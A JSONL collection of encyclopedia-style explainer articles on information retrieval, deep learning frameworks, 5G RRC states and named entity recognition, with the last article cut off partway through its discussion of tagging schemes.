{"text":"# Information Retrieval\n\n## Summary\n\n\nInformation Retrieval (IR) refers to finding out relevant information from any kind of data. It may be audio, video, document, article or an image. Traditional ways of information retrieval consist of breaking down data into subsets or clusters across dimensions and finding relevant information according to problem statement.\n\nThere are various ways to retrieve information from any unstructured data. It started with rule-based models. More recently, neural networks are being used.\n\nThe way humans understand is far more complex than how machines understand. Machines follow the logic of finding out similarities, differences or links with the input data. But it's hard to interpret many-to-many relationships. Humans are able to do this for all previous information stored in memory whenever an image, text or video appears.\n\n## Discussion\n\n### What's the difference between Information Retrieval (IR) and Information Extraction (IE)?\n\nIR is about searching and retrieving unstructured documents that fulfil a specific search query. IE is about obtaining structured representation of key information from unstructured documents. For example, IR can help us find all documents about fishing whereas IE can tell who went fishing and what type of fish was caught. \n\nInformation retrieval is the process of gathering information or sources that are appropriate to the topic from a collection of raw text data. \n\nInformation extraction is a kind of automated process where rule-based algorithm is applied to structured data after it is obtained from any unstructured source. It involves NLP techniques of cleaning and arranging it in a matrix. It also involves activities like automatic annotation or content extraction. \n\n\n### Could you mention some applications of IR?\n\nWeb search is an example of IR. A search engine might search billions of web documents to respond to a query such as \"Italian restaurants near me\" or \"flights to London tomorrow\". A more personal example is to search through emails. IR in this case is typically executed by the mail program such as GMail. \n\nSearching through online discussion forums or Q&A archives is another IR application. Text classification is typically used to classify posts, questions and answers. \n\nIn any enterprise system, we might need to retrieve patent documents, research papers or other publications based on a keyword or phrase. In a library, we might want to obtain books with specific words in its title, or by author name, or by genre. In an e-commerce site, we might want to apply various criteria and see a filtered list of products. \n\nAs an example of IR for multimedia, MPEG-7 is a standard that's used to describe multimedia content. This metadata can be searched to retrieve audio/video clips that are of interest to the user. \n\n\n### What are some essential terms used in information retrieval?\n\nWhile the term \"record\" is common in databases, the equivalent term in IR is **document**. It refers to a basic unit of data stored in the system. A document can be a newspaper article, an encyclopaedia entry, a paragraph in a report, a web page, an entire website, etc. It really depends on the application. \n\nA set of documents indexed and stored is called a **collection**. Alternative names include archive, corpus, and digital library. \n\n**Query** is what the user submits to the system to meet her information need. A query is composed of one or more terms. A **term** is a lexical item but it could be a phrase as well. \n\nTo search through each document is a slow inefficient process. Instead, each document is indexed in advance. The **index** is a structured representation of the document. Searching through this representation is much faster. A similar representation of the query aids the retrieval function. \n\nIn practice, IR systems use **inverted index** that maps each index term to a list of documents in which it occurs.  \n\n\n### Does information retrieval search through structured or unstructured documents?\n\nInformation retrieval typically concerns itself with **unstructured documents**. IR started with a focus on text. More recently, due to machine learning and improved processing capability, other types such as image, audio, and video can also be retrieved. \n\nWhile documents may be unstructured, often they are accompanied by **structured metadata**. Metadata is data about the document. For example, an email will have fields date, from, to, subject, and body. This is useful structured information. Another example is a photograph taken with a digital camera. Useful metadata might include date, camera model, exposure setting, and picture dimensions. \n\nSometimes documents are **semi-structured** in the sense that specific information are in \"standard\" locations that heuristic algorithms can identify. Text documents with sections and sub-sections are also semi-structured. XML documents can be seen as semi-structured that IR systems can exploit. \n\n\n### What are the various models of IR?\n\nIR models can be categorized into Classic, Structured and Browsing models. Classic models include Boolean, Vector Space and Probabilistic models. \n\nBoolean primitives (AND, OR, NOT) can be used in queries according to user's information need. This requires some skills for any complex IR. Different vocabularies will result in problems of string matching. This is the most used approach. \n\nVector space models use vectors to map documents, phrases or terms. Words/terms can be categorized to high or low resolving power weights according to vector dimension of document. This helps in finding out positive/negative or similar/opposite matches and retrieve information. \n\nProbability distribution models use different distribution types to find out similarity between documents. It can be one of two types: similarity-based and expected-utility-based. TF-IDF and HMM can be used in different frameworks to generate multiple words within the same model, making comparison easier. HMM gives better accuracy than traditional TF-IDF models. \n\nTwo broad matching strategies are: \n\n    + **Literal Term**: Vector Space Model (VSM), Hidden Markov Model (HMM), Language Model (LM)\n    + **Concept**: Latent Semantic Analysis (LSA), Probabilistic Latent Semantic Analysis (PLSA), Topical Mixture Model (TMM)\n\n### How is information retrieval represented?\n\nInformation is any unstructured form of data which consists of insights of any particular domain. It needs to be converted to a format that can then be parsed/extracted into structured form. Information in text format can be represented as document representation or query representation.\n\nThe content of a document can be represented as a collection of terms such as terms, phrases or other units. Every term will be having their weights which gives its importance to that document. A proper term weighting is needed according to various aspects of words, phrases, names, statistical, linguistic and other means for better IR. \n\nQuery representation is based on conventional approach to formulate a query based on a keyword or set of keywords. But in several cases there's no relevant context for user to select appropriate keywords. In that case, maximal frequent sequences is used to retrieve relevant documents from an input document. A **bag-of-words model** is used to identify keywords and extract similar documents. \n\n\n### Which are some basic techniques used in information retrieval?\n\nLet's say a query has the term 'processed'. A strict match for this word will leave out documents that contain variants such as 'processing' and 'process'. **Stemming** or **lemmatization** solve this but they create their own problems.  \n\nOften it doesn't make sense to index words such as 'to', 'be', 'for', etc. A **stop list** of these high-frequency words are often omitted for indexing. \n\nSuppose the user searches for 'high blood pressure'. The IR system may also search for 'hypertension' and 'hypertension, renal'. This is called **query expansion**. Query expansion usually involves pre-generating a suitable thesaurus using **term clustering**. \n\nWhen a query has multiple terms, some terms may be more important than others. This is done by **term weighting**. **TF-IDF** is a popular approach. \n\nTo improve IR performance, **relevance feedback** can be used, typically in VSM. User is shown a small set of retrieved documents to get feedback on what's relevant and what's not. The IR system then refines the query to improve performance. \n\n\n### What are some useful resources on Information Retrieval?\n\nGreengrass (2000) offers a comprehensive survey of IR. Nyamisa et al. (2017) is another survey paper. Zhou et al. (2006) introduces basic terms and concepts. There's also a comprehensive online IR glossary.\n\nStanford University's CS276 course on IR is worth studying. Among the books for IR, you can look into Manning et al. (2009), Croft et al. (2015) and Frakes et al. (1992).\n\nFor IR research, you'll need collections. Wiki Small/Large and CACM collections are available for free download. TIPSTER Complete is another useful collection. Other important collections include the Cranfield collection, TREC, GOV2, Reuters-21578, Reuters-RCV1, and 20 Newgroups. For cross-language IR, there's NTCIR and CLEF. \n\nTo keep track of latest developments, ACM's Special Interest Group on Information Retrieval (SIGIR) is the place to visit.\n\n## Milestones\n\nDec  \n1931\n\nEmanuel Goldberg receives a US patent for a machine that does information retrieval. The machine is opto-electric in nature. Light is passed through a negative search plate containing the search terms. Document matches are picked up by activating a photoelectric cell. All matches are recorded on a photographic plate. \n\nMar  \n1950\n\nCalvin Mooers coins the term **Information Retrieval**. \n\n1952\n\nH. P. Luhn describes an early IR system from IBM. It makes use of punched cards and a photoelectric scanning unit. Information is indexed and encoded into **record cards**. A query is input as a **search card**. Plug connections on a switchboard control how search terms are to be combined. This is therefore one of the earliest implementations of the **Boolean Model** for IR. \n\n1957\n\nH. P. Luhn proposes a **statistical approach** to IR. Content can be identified based on the frequency of occurrence of words. This also means that documents can be indexed automatically based on the words they contain. This is therefore the first attempt at **automatic indexing**. The system uses statistical information to group words into \"notional\" families. \n\n1959\n\nCavin Mooers notes that often using information is not rewarded. Those who are at work are seen as getting the job done rather than fussing about information. Having information means you have to read it, understand it, store it carefully and make decisions based on it. These observations lead Mooers to define **Mooers' Law**,\n\n> An information retrieval system will tend not to be used whenever it is more painful and troublesome for a customer to have information than for him not to have it.\n\n1960\n\nMaron and Kuhns publish a paper titled *On Relevance, Probabilistic Indexing and Information Retrieval*. Where previous IR systems returned matching documents, the idea in this paper is to rank documents by computing **probability of relevance**. The paper also introduces the notion of **query expansion**. In years to come, this goes on to become one of the most influential papers in the field of IR. \n\n1965\n\nSalton and Lesk propose **SMART** retrieval system. It goes beyond Luhn's work of 1957. It uses the original search words along with their word stems. It uses synonym dictionaries to account for variations in vocabulary. It uses relations between words and surrounding words to determine the nature of content. Over the years, the SMART system develops or uses many important concepts such as vector model, term weighting, relevance feedback, and cosine similarity measure. \n\n1976\n\nRobertson and Jones implement a **probabilistic model** to IR. From the distribution of index terms in documents, they determine term weights.  This work is perhaps the first real application of the probability to IR as proposed by Maron and Kuhns in 1960. \n\n1982\n\nSalton et al. propose the **extended Boolean model**. Output from a traditional Boolean model is hard to control and retrieved documents are not ranked. The extended model assigns weights to terms in both queries and documents. This enables the model to rank retrieved documents based on similarity to queries. \n\n1988\n\nDumais et al. note two common problems in IR: same word has many meanings, different words express the same concept. These result in irrelevant documents or missed relevant documents respectively. They therefore propose a novel method that maps terms and documents into a lower dimensional **semantic space**. In later years, this field is named **Latent Semantic Analysis (LSA)**. \n\n1992\n\nIn the US, **Text Retrieval Conference (TREC)** is launched to facilitate research and collaboration in IR. It goes on to become an almost annual event. The growth of the web and the need for large-scale IR makes TREC all the more relevant. TREC produces test collections that are useful for IR research. \n\nAug  \n1998\n\nAt SIGIR'98, Ponte and Croft propose the use of **Language Modelling (LM)** to the task of IR. They note that typical IR systems lack a good indexing model. Existing indexing models make unwarranted parametric assumptions. They therefore propose a single non-parametric model for both indexing and retrieval. They show better performance compared to TF-IDF weighting. In 2001, Zhai and Lafferty study different smoothing techniques for such language models. \n\nSep  \n1998\n\nGoogle is founded for web search. By now, many other search engines are already popular: Lycos (1994), Yahoo! Search (1995), Excite (1995), AltaVista (1995), Yandex (1997). These engines become the best instantiations of IR. They use features that until now were only experimental. \n\n2016\n\nThere's growing interest in applying neural networks to IR. This is called **Neural IR**. The network learns representations of queries and documents. In one application of Neural IR from 2019, two deep models are trained, one for image and one for text. This allows a user to retrieve images based on a textual query, or vice versa. However, early work on content-based image retrieval can be traced to the work of Wan et al. (2014).","meta":{"title":"Information Retrieval","href":"information-retrieval"}}
{"text":"# Deep Learning Frameworks\n\n## Summary\n\n\nDeep Learning (DL) is a neural network approach to Machine Learning (ML). While it's possible to build DL solutions from scratch, DL frameworks are a convenient way to build them quickly. Such frameworks provide different neural network architectures out of the box in popular languages so that developers can use them across multiple platforms. \n\nChoosing a framework for your problem depends on a number of factors. Therefore, it's not possible to name just one framework that should be preferred over another. Many frameworks are open source. Cloud providers also provide easy ways to deploy and execute a framework on their infrastructure.\n\nSometimes the term \"framework\" is used interchangeably with terms \"toolkit\" or \"library\".\n\n## Discussion\n\n### Could you mention some popular DL frameworks?\n\nAmong the popular open source DL frameworks are TensorFlow, Caffe, Keras, PyTorch, Caffe2, CNTK, MXNet, Deeplearning4j (DL4J), and many more. Many of these frameworks support Python as the programming language of choice. DL4J is for Java programmers but models written in Keras can be imported into DL4J. Among those supporting C++ include Caffe, DL4J, CNTK, MXNet and TensorFlow. Torch was written in Lua and C, and PyTorch extends and improves on it with Python support. Paddle is a framework from Baidu. \n\nThese frameworks are not all at the same level of abstraction. For example, Keras provides a simpler API for developers and sits on top of TensorFlow, Theano or CNTK. Likewise, Gluon is an API that can work with MXNet and CNTK. Gluon can be seen as competition to Keras. \n\nAmong those not open sourced are Intel Math Kernel Library, MATLAB Neural Network Toolbox, Neural Designer, and Wolfram Mathematica NeuralNetworks. \n\nA curated list of ML frameworks is available online.\n\n\n### How should I go about selecting a suitable DL framework?\n\nSome obvious factors to consider are licensing, documentation, active community, adoption, programming language, modularity, ease of use, and performance. Keras and PyTorch are said to be easy to use but you can also consider TensorFlow for its popularity. \n\nMore specifically, you should check the following: \n\n    + **Style**: Imperative or symbolic.\n    + **Core Development Environment**: Programming language, intuitive API, fast compile times, tools, debugger support, abstracting the computational graph, graph visualization (TensorBoard), etc.\n    + **Neural Network Architecture**: Support for Deep Autoencoders, Restricted Boltzmann Machines (RBMs), Convolutional Neural Networks (CNNs), Recurrent Neural Networks (RNNs), Long Short-Term Memory (LSTMs), Generative Adversarial Networks (GANs), etc.\n    + **Optimization Algorithms**: Gradient Descent (GD), Momentum-based GD, AdaGrad, RMSProp and Adam, etc.\n    + **Targeted Application Areas**: Image recognition, video detection, voice/audio recognition, text analytics, Natural Language Processing (NLP), timeseries forecasting, etc.\n    + **Hardware Extensibility**: Support for multiple CPUs, GPUs, GPGPUs or TPUs across multiple machines or clusters.\n    + **Optimized for Hardware**: Execute in optimized low-level code by supporting CUDA, BLAS, etc.\n    + **Deployment**: Framework should be easy to deploy in production (TensorFlow Serving).\n\n### Which DL frameworks are symbolic and which ones are imperative?\n\nLet's briefly understand the difference between the two. Imperative programs perform computations as they are encountered along the program flow. Symbolic programs define symbols and how they should be combined. They result in what we call a **computational graph**. Symbols themselves might not have initial values. Symbols acquire values after the graph is compiled and invoked with particular values. \n\nTorch, Chainer and Minerva are examples of imperative-style DL frameworks. Symbolic-style DL frameworks include TensorFlow, Theano and CGT. Also in symbolic style are CXXNet and Caffe that define the graph in configuration files. \n\nImperative frameworks are more flexible since you're closer to the language. In symbolic frameworks, there's less flexibility since you write in a domain-specific language. However, symbolic frameworks tend to be more efficient, both in terms of memory and speed. At times, it might make sense to use a mix of both framework styles. For example, parameter updates are done imperatively and gradient calculations are done symbolically. MXNet allows a mix of both styles. Gluon uses an imperative style for easier model development while also supporting dynamic graphs. \n\n\n### From a mathematical perspective, what are the main features expected of a DL framework?\n\nAll data is represented as **tensors** (multi-dimensional arrays). A DL framework must therefore support tensors and operations on them. \n\nThe ability to define **dynamic computational graphs** is desired by developers. To be dynamic means that graph nodes can be added or removed at runtime. With PyTorch and Chainer, graphs can be defined dynamically. With TensorFlow, you have to define the entire computation graph before you can run it. TensorFlow more recently has TensorFlow Fold for dynamic graphs and *eager execution* for immediate execution. \n\nAn essential operation in a DL network during learning is function differentiation. **Automatic Differentiation** is a feature that must be supported by a DL framework. This is straightforward when the framework uses a computational graph. \n\n\n### In terms of hardware support for DL frameworks, what should I look for?\n\nDeep Learning involves training and inference. Training is often done on cloud clusters. Inference can at times happen on constrained IoT devices, embedded systems or smartphones. Thus, trained models should be able to run on ARM-based hardware. For example, Caffe2 is suitable for smartphones while TensorFlow is for research and server-side deployment. However, there's TensorFlow Lite for inference on constrained devices.\n\nWhen running on NVIDIA GPUs, you should check if there's support for **CUDA** that enables most efficient use of GPUs. An alternative to CUDA is **OpenCL** but most DL frameworks don't support it. **OpenMP** is more widely supported and it enables multiplatform shared memory multiprocessing. \n\nIn addition, hardware vendors provide a number of libraries and optimizers so that DL frameworks make the best use of their hardware. Among these are NVIDIA's cuDNN, cuBLAS, cuSPARSE, TensorRT, DeepStream, and many more. Intel offers Math Kernel Library for Deep Neural Networks (MKL-DNN), Data Analytics Acceleration Library (DAAL), OpenVINO, nGraph, and others. \n\n\n### How do the popular DL frameworks compare in terms of performance?\n\nSince DL frameworks are always improving, what's mentioned here should be only a starting point for your study.\n\nOne study from early 2018 compared some DL frameworks on three datasets. Nvidia GPUs were used along with cuDNN, an Nvidia library tuned for common DL computations. Among the faster frameworks are TensorFlow, PyTorch, MXNet, CNTK and Julia-Knet. It was seen that CNTK and TensorFlow are much faster than Keras-CNTK and Keras-TF respectively. While Keras simplifies development, the tradeoff is performance. \n\nIn other studies, TensorFlow is said to be slower than CNTK and MXNet. MXNet stands out in terms of scalability and performance. \n\nUltimately, the framework itself may not matter much when cuDNN is used to provide acceleration on NVIDIA's GPUs. Any difference in performance will come from how frameworks scale to multiple GPUs and machines. \n\n## Milestones\n\n1965\n\nWhile the theory of neural networks inspired by the human brain was first formulated in 1943, Alexey Ivakhnenko and his team create the first working Deep Learning network in 1965. In 1971, they succeed in building an 8-layer network. \n\n2000\n\nThe term *Deep Learning (DL)* is used for the first time to mean a neural network with many layers. By 2017, a DL network is as much as 1000 layers deep. \n\n2007\n\nAt the Montreal Institute for Learning Algorithms (MITA), **Theano** is developed in Python for efficient math operations that can run on either CPU or GPU architectures. It enables developers to run rapid experiments in Deep Learning. In later years, Theano goes on to inspire other frameworks. Ten years later (in 2017), it's announced that Theano will no longer be actively maintained. \n\n2013\n\nInvented by Berkeley Vision and Learning Center at UC Berkeley, **Caffe** framework is released. In 2017, Facebook open sources an evolution of Caffe called **Caffe2**. \n\n2015\n\nThis year may be considered the turning point for DL frameworks. A number of DL frameworks are released: Chainer, Keras, Apache MXNet and TensorFlow. \n\nJan  \n2016\n\nMicrosoft releases and open sources **Computational Network Toolkit (CNTK)**, a DL toolkit it's been using internally for speech and image recognition. CNTK supports multiple GPUs across multiple machines. \n\nApr  \n2016\n\nPython-based open source library **Keras 1.0** is released. It's a major re-write of Keras while being backward compatible. It's been said that Keras has an \"API designed for human beings, not machines\". \n\n2017\n\nAmong the frameworks to come out in 2017 is **Caffe2** from Facebook. **Deeplearning4j** for the Java and Scala communities becomes part of Eclipse Foundation although it's origins can be traced to 2014. **PyTorch** is open sourced by Facebook and it starts to become popular when DL course *fast.ai* adopts it. \n\nDec  \n2017\n\nWith so many DL frameworks, the landscape can look very fragmented for developers. **Open Neural Network Exchange (ONNX)** is released as an open format that enables developers to export/import models from/to frameworks. For example, you can build a PyTorch model, export it in ONNX format, and import into MXNet where it can be used for inference. \n\nFeb  \n2018\n\nAn analysis of arXiv 45,000 ML papers show the popularity of TensorFlow, having overtaken Caffe in 2017. Adoption of Keras and PyTorch also appear to be growing. \n\nMay  \n2018\n\nCaffe2 and PyTorch, both out of Facebook, plan to come together into a single platform. The intent is to \"combine the flexible user experience of the PyTorch frontend with scaling, deployment and embedding capabilities of the Caffe2 backend\". \n\nOct  \n2018\n\nBased on PyTorch, v1.0 of **fastai** is released as a free open source library for DL.","meta":{"title":"Deep Learning Frameworks","href":"deep-learning-frameworks"}}
{"text":"# 5G UE RRC States\n\n## Summary\n\n\nRadio Resource Control (RRC) is a layer within the 5G NR protocol stack. It exists only in the control plane, in the UE and in the gNB. The behaviour and functions of RRC are governed by the current state of RRC. In 5G NR, RRC has three distinct states: RRC\\_IDLE, RRC\\_CONNECTED and RRC\\_INACTIVE. \n\nFor each UE RRC state, applicable functions are clearly defined in the standard. Moreover, it's also defined how state transitions will happen, not only within 5G but also to 2G/3G/4G systems via handover or PLMN/cell reselection. \n\nRRC\\_INACTIVE is not applicable for Non-Standalone (NSA) mode of operation.\n\n## Discussion\n\n### Why was RRC_INACTIVE state introduced in 5G?\n\nBefore 5G, RRC had only two states, idle and connected. In connected state, radio resources are allocated to the UE and typically active communication (user plane or control plane) is taking place between the UE and the network. Otherwise, UE is in idle state. \n\nWhile releasing an RRC connection is good for capacity utilization and power saving, it's not ideal from a latency perspective. For Machine Type Communications (MTC) and IoT applications, it's typical for devices to send small amounts of data. The overhead in establishing an RRC connection to do this is bad from a power perspective. The extra signalling also introduces delay that's not ideal for URLLC use cases. \n\nSince 5G caters to new cases such as mMTC and URLLC, RRC\\_INACTIVE has been introduced. While entering this state, both UE and NG-RAN save radio and security configurations. This saved UE Inactive Access Stratum (AS) context can be quickly restored with minimal signalling when moving to connected state.  \n\nEssentially, RRC\\_INACTIVE is UE RRC's way of implementing an \"always on\" radio connection with the network. \n\n\n### What are the functions in each of the 5G UE RRC states?\n\nIn RRC\\_INACTIVE and RRC\\_CONNECTED, UE and NG-RAN store **AS Inactive context** and **AS context** respectively. In RRC\\_IDLE, UE may be registered with the Core Network (CN) but no AS context is stored. \n\nIn both RRC\\_IDLE and RRC\\_INACTIVE, UE does measurements of neighbouring cells and can do **reselection**. In RRC\\_CONNECTED, UE mobility is controlled by the CN and **handovers** can be initiated. Data transfer, CA, DC and measurement reporting are supported. \n\nIn RRC\\_IDLE, **UE paging** is initiated by the CN. In RRC\\_INACTIVE, UE paging is initiated by NG-RAN. To page a UE, it's location must be known. In RRC\\_IDLE, this is the Tracking Area (RA). In RRC\\_INACTIVE, this is the RAN-based Notification Area (RNA) and UE may initiate RNA updates.  \n\nIn RRC\\_IDLE, **Discontinuous Reception (DRX)** is configured by higher layers. In RRC\\_INACTIVE, configuration comes from higher layers and RRC. In RRC\\_CONNECTED, DRX configuration is for discontinuously monitoring DL PDCCH. \n\n\n### How does UE RRC transition from one state to another in 5G NR?\n\nRRC\\_IDLE to RRC\\_CONNECTED happens via the RRC Connection Setup procedure. This consists of three messages: RRCSetupRequest (UE initiated), RRCSetup, and RRCSetupComplete. \n\nRRC\\_CONNECTED to RRC\\_IDLE is via RRC Connection Release procedure with network-initiated RRCRelease message. Upper layers in the UE may also request a release. RRC connection is also released due to radio link failure, handover failure or cell not meeting cell selection criteria. \n\nRRC\\_CONNECTED to RRC\\_INACTIVE is network initiated. It's entered via RRCRelease message with `suspendConfig` information element (IE). When UE is using a Dual Active Protocol Stack (DAPS) bearer or is redirected to an inter-RAT carrier frequency, this IE is not configured. \n\nRRC\\_INACTIVE to RRC\\_CONNECTED is triggered by the network via RAN paging. A paged UE will start with RRC Connection Resume procedure consisting of three messages: RRCResumeRequest, RRCResume (or RRCSetup), RRCResumeComplete (or RRCSetupComplete). This procedure can also be initiated by UE for uplink transfer, including RNA update. \n\nRRC\\_INACTIVE to RRC\\_IDLE happens when network responds to RRCResumeRequest with RRCRelease. Alternatively, the UE may be asked to remain in RRC\\_INACTIVE for some more time. \n\n\n### How do UE RRC states map to states in other layers of the protocol stack?\n\nWhen RRC is in either RRC\\_INACTIVE or RRC\\_CONNECTED states, there's a Non-Access Stratum (NAS) connection between the UE and the CN. Thus, Connection Management (CM) is in the Connected state. \n\nIn RRC\\_CONNECTED, Mobility Management (MM) may be in either Deregistered or Registered state. If the UE is in the process of registering to the network (attach procedure), then MM is in Deregistered state. Otherwise, it's in Registered state. \n\nWhen a UE is just powered up, RRC is in RRC\\_IDLE and MM is in Deregistered state. After MM registration, RRC can move from RRC\\_CONNECTED to RRC\\_INACTIVE, and return to RRC\\_IDLE only as part of deregistration (detach procedure). It's also possible for a UE to move to RRC\\_IDLE and still be available for CN-initiated paging. For simplicity, this case in not shown in the figure. \n\n\n### Could you describe RRC states and transitions across different cellular generations?\n\n**Reselection** can happen in idle states. In 2G, GSM\\_Idle and GPRS Packet\\_Idle are the idle states. In 3G, reselection is also possible from connected states Cell\\_FACH, Cell\\_PCH and URA\\_PCH.  \n\nReselection is possible from GPRS Packet Transfer Mode. Cell Change Order (CCO) is possible from 2G idle state, GPRS Packet Transfer Mode and E-UTRA RRC Connected. For reselection from UTRAN to GERAN, CCO can be assisted with Network Assisted Cell Change (NACC). \n\nIn connected states, **handovers** are possible. For handovers, relevant states are GSM\\_Connected, GPRS Packet Transfer Mode (2G); Cell\\_DCH (3G); E-UTRA RRC Connected (4G); and NR RRC\\_CONNECTED (5G). \n\n## Milestones\n\n2015\n\nIn the 5G-PPP European project *METIS-II*, the main 5G pre-standards project, there's discussion and effort towards supporting **an RRC inactive state**. In June 2016, a draft titled *Draft Asynchronous Control Functions and Overall Control Plane Design* is published with mention of **RRC Connected Inactive** state. \n\nAug  \n2016\n\nLTE RRC specification TS 36.331, Release 13, version 13.2.0 is published. In this release, LTE RRC has only two states, RRC\\_IDLE and RRC\\_CONNECTED. This version includes **suspend/resume of RRC connection**. When suspended, RRC goes to RRC\\_IDLE. However, the connection can be resumed with minimal signalling due to stored UE AS context. This feature caters to NB-IoT requirements. \n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". In 5G RRC specification TS 38.331, version 15.0.0, there are **three states**: RRC\\_IDLE, RRC\\_CONNECTED and RRC\\_INACTIVE. RRC\\_INACTIVE state applies only in SA mode, that is, it's not applicable in EN-DC (E-UTRA-NR Dual Connectivity). \n\nMar  \n2018\n\n3GPP publishes version 1.0.0 of specification TS 38.304 titled *User Equipment (UE) procedures in idle mode and in RRC Inactive state*. In June, this is re-versioned to 15.0.0 for Release 15. Version 16.3.0 comes out in January 2021. It's mentioned that, \"The UE initiates RRC Connection Resume procedure upon receiving RAN initiated paging. If the UE receives a CN initiated paging in RRC\\_INACTIVE state, the UE moves to RRC\\_IDLE and informs NAS.\" \n\nOct  \n2018\n\nIn LTE RRC specification TS 36.331, version 15.3.0, **RRC\\_INACTIVE state** is introduced. At the same time, 5G RRC specification TS 38.331, version 15.3.0 includes ASN.1 definition for RRCRelease message. This include `suspendConfig` IE that indicates transition to RRC\\_INACTIVE. Periodic RNA Update timer can range from 5-720 minutes. \n\nDec  \n2018\n\nHailu et al. publish performance analysis showing improvements due to RRC\\_INACTIVE state. They use the term \"RRC Connected Inactive\" for this and refer to LTE Release 13 suspend/resume procedure as \"RRC Suspended\". Compared to LTE idle state, RRC\\_INACTIVE brings 8x latency improvement, 5x power efficiency and 3.5x less signalling. \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. In 5G RRC specification TS 38.331, version 16.1.0, `preferredRRC-State` IE is introduced as part of UE's **release preference**. UE can indicate preference towards RRC\\_IDLE, RRC\\_INACTIVE, leave RRC\\_CONNECTED without any preference for the next state or revert to an earlier indicated preference.","meta":{"title":"5G UE RRC States","href":"5g-ue-rrc-states"}}
{"text":"# Named Entity Recognition\n\n## Summary\n\n\n**Named Entity Recognition (NER)** is an essential task of the more general discipline of Information Extraction (IE). To obtain structured information from unstructured text we wish to identify named entities. Anything with a proper name is a **named entity**. This would include names of people, places, organizations, vehicles, facilities, and so on. \n\nWhile temporal and numerical expressions are not about entities per se, they're important in understanding unstructured text. Hence, such expressions are included in NER. \n\nThe essence of NER is to **identity** the named entities and also **classify** them. NLP techniques used for POS tagging and syntactic chunking are applicable to NER. \n\nNER models trained on general newswire text are not suitable for specialized domains, such as law or medicine. Domain-specific training is required.\n\n## Discussion\n\n### Which are the common entity types identified by NER?\n\nAt its simplest, NER recognizes three entity classes: location, person, and organization.  In practice, at least for newswire text, there's value in extracting geo-political entities, date, time, currency, and percent. For more fine-grained NER, systems may identify ordinal/cardinal numbers, events, works of art, facilities, products, and so on. \n\nTemporal expressions can be absolute or relative. For example, 'summer of 1977' and '10:15 AM' are absolute whereas 'yesterday' and 'last quarter' are relative. Expression 'four hours' is an example of duration. \n\nSpecialized domains often require additional or alternative entity types. In biomedical for example, we can broadly define six types: Cell, Chemical, Disease, Gene (DNA or RNA), Protein and Species. For question answering, Sekine defined a hierarchy of more than 200 entities. \n\n\n### Could you describe some applications of NER?\n\nGiven the huge volume of content published online each day, NER helps in categorizing them and thus eases search and content discovery. In fact, for information retrieval, named entities can be used as search indices to speech up search. Likewise, NER helps organize and categorize research publications. For example, from the thousands of papers on machine learning, we might be interested only in face detection that uses CNN. \n\nContent recommendation is possible with NER. Based on the entities in the current article, the reader can be recommended related articles. Another NER application is online customer support. NER can identify product type, model number, store location, and more. Opinion mining uses NER as a pre-processing task. NER can help link related concepts and entities for the Semantic Web. \n\nOne developer took 30,000 online recipes but found that the descriptions didn't fit any particular pattern. He therefore applied NER with entity types Name, Quantity, and Unit. He manually labelled 1500 samples of about 10,000 tokens. \n\nAmong the NLP tasks that benefit from NER are question generation, relation extraction, and coreference resolution. \n\n\n### What are the typical challenges with NER?\n\nAmbiguities make NER a challenging task. For example, 'JFK' can refer to former US President John F. Kennedy or his son. These are different entities of the same type. **Coreference resolution** is an NLP task that resolves this ambiguity. More common to NER is when the same name refers to different types. For example, 'JFK' can refer to the airport in New York or Oliver Stone's 1991 movie.  \n\nSince entities can span multiple words/tokens, NER needs to identify start and end of multi-token entities. A name within a name (such as *Cecil H. Green Library*) is also a challenge. When a word is a qualifier, it may be wrongly tagged. For example, in *Clinton government*, an NER system may tag Clinton as PER without recognizing the noun phrase. \n\nSame entity can appear in different forms. Differences could be typographical (nucleotide binding vs NUCLEOTIDE-BINDING), morphological (localize vs localization), syntactic (DNA translocation vs translocation of DNA), reduction (secretion process vs secretion/ATP-binding activity), or abbreviated (type IV secretory system vs T4SS). \n\n\n### What's the typical processing pipeline in NER?\n\nNER is typically a **supervised** task. It needs annotated training data. Features are defined. From the annotated data, the ML model learns how to map these features to the entities. NER can be seen as a sequence labelling problem since it identifies a span of tokens and classifies it as a named entity. Thus, NER can be solved in a manner similar to POS tagging or syntactic phrase chunking. Statistical models such as HMM, MEMM or CRF can be used. \n\nAnnotating data manually is slow. A semi-automated approach is to give a file containing a set of patterns or rules. Another approach is to start with an existing model and manually correct mistakes. \n\nA practical approach is for a model to label unambiguous entities in the first pass. Subsequent passes make use of already labelled entities to resolve ambiguities about other entities. \n\nEssentially, iterative approaches that start with patterns, dictionaries or unambiguous entities start with high precision but low recall. Recall is then improved with already tagged entities and feedback. Manually annotated data is typically reserved for model evaluation. \n\n\n### What sort of features are useful for training an NER model?\n\nThe token and its stem are basic features for NER. In addition, POS tag and phrase chunk label give useful information. **Context** from surrounding tokens, and their POS tags and chunk labels, are also useful inputs. For example, 'Rev.', 'MD', or 'Inc.' are good indicators of entities that precede or follow them. \n\nThe token's shape or **orthography** is particularly useful. This includes presence of numbers, punctuation, hyphenation, mixed case, all caps, etc. For example, A9, Yahoo!, IRA, and eBay are entities that can be identified by their shape. While this is useful for newswire text, it's less useful for blogs or text transcribed automatically from speech. Also, there's no case information in Chinese. \n\n**Gazetteers** maintain a list of names of places and people. Presence of a token in such a list can be feature. Maintaining such a list is often difficult. Such a list is less useful for identifying persons and organizations. Likewise, domain-specific knowledge bases can be used and string matches with these bases can identify entities. Examples include DBpedia, DBLP and ScienceWise. \n\n\n### How have neural networks influenced NER?\n\nLinear statistical models used hand-crafted features and gazetteers. These are hard to adapt to new tasks or domains. Non-linear neural network models make use of word embeddings. Early NN models used these embeddings along with hand-crafted features. \n\nA neural network for NER typically has three components: word embedding layer, context encoder layer, and decoder layer. Since NER is basically a sequence labelling task, RNN is suitable. BiLSTM in particular is good at capturing context. Since 2019, transformer architecture has been successfully applied to NER. Multi-task learning (MTL) is an approach in which the model is trained on different tasks and representations are shared across tasks. \n\nFor NER, character-level representations obtained via CNN or transformer are useful since they encode morphological features, alleviate out-of-vocabulary issues and overcome data sparsity problem. \n\nNeural networks are used by NeuroNER (LSTM), spaCy (CNN), and AllenNLP (Bidirectional LM). \n\n\n### How are words or phrases tagged with their identities in NER?\n\nEntities have to be tagged in a manner that's suitable for algorithms to process. There are many tagging schemes available, some of which evolved from those used in chunking:  \n\n    + **IO**: The simplest scheme, where *I\\_X* identifies the named entity type X and *O* indicates no entity.\n    + **IOB**: Where an entity has multiple tokens, this differently tags the begin token (B) from an inner token (I). A variation of this is *IOB2* or *BIO*.\n    + **BMEWO**: This differently tags begin token (B), middle token (M), end token (E), and a 